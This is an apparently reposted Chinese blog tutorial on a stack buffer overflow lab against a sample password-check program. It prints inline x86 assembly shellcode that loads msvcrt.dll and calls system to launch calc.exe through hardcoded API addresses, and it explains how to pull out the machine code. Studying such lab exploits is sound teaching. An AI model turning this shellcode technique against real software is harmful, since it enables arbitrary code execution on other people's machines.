码迷,mamicode.com
首页 > 其他好文 > 详细

一个栈溢出漏洞实验的流程

时间:2016-05-11 01:23:56      阅读:265      评论:0      收藏:0      [点我收藏+]

标签:

实验原本是模拟一个密码验证程序,其代码如下:

技术分享

其中verify_password代码如下:

技术分享

用红框圈起来的地方发现有一个缓冲区漏洞,我们就利用这里进行栈溢出操作。我们这里只是尝试着弹出一个calc.exe。

先构造汇编代码,这里是先利用LoadLibrary加载msvcrt.dll,在利用system函数弹出calc.exe,最后利用ExitProcess退出,以防止栈破坏而报错:

void main()
{
    __asm
    {
        mov esp, ebp;
        push ebp;
        mov ebp, esp;
        xor edi, edi;
        push edi;
        sub esp, 08h;
        mov byte ptr[ebp - 0ch], 6Dh;  //m
        mov byte ptr[ebp - 0bh], 73h;  //s
        mov byte ptr[ebp - 0ah], 76h;  //v
        mov byte ptr[ebp - 09h], 63h;  //c
        mov byte ptr[ebp - 08h], 72h;  //r
        mov byte ptr[ebp - 07h], 74h;  //t
        mov byte ptr[ebp - 06h], 2Eh;  //.
        mov byte ptr[ebp - 05h], 64h;  //d
        mov byte ptr[ebp - 04h], 6Ch;  //l
        mov byte ptr[ebp - 03h], 6Ch;  //l
        lea eax, [ebp - 0Ch];
        push eax;
        mov eax, 0x763b8f80;
        call eax;//LoadLibrary

        xor edi, edi;
        push edi;
        sub esp, 08h;
        mov byte ptr[ebp - 18h], 63h;  //c
        mov byte ptr[ebp - 17h], 61h;  //a
        mov byte ptr[ebp - 16h], 6ch;  //l
        mov byte ptr[ebp - 15h], 63h;  //c
        mov byte ptr[ebp - 14h], 2Eh;  //.
        mov byte ptr[ebp - 13h], 65h;  //e
        mov byte ptr[ebp - 12h], 78h;  //x
        mov byte ptr[ebp - 11h], 65h;  //e

        //system    0x762fb730
        lea eax, [ebp - 18h];
        push eax;
        mov eax, 0x762fb730;
        call eax;//system
        mov eax, 0x763c9850;
        call eax;//ExitProcess
    }
}

_asm中间的才是我们需要的,之所以放入main函数只是为了运行测试我们所写的汇编代码是否有问题,运行:

 技术分享

可以正常弹出calc.exe,说明汇编代码没有问题。那么我们现在利用VS的反汇编功能,查看这些汇编代码的机器码,记得要在反汇编窗口右键选中“显示代码字节”,才能看到机器码:

技术分享

选中后显示如下:

技术分享

这里有一个问题,我们call eax的时候实际上是在调用API,我们又是如何知道这些API的地址的呢?

 

一个栈溢出漏洞实验的流程

标签:

原文地址:http://www.cnblogs.com/predator-wang/p/5479885.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!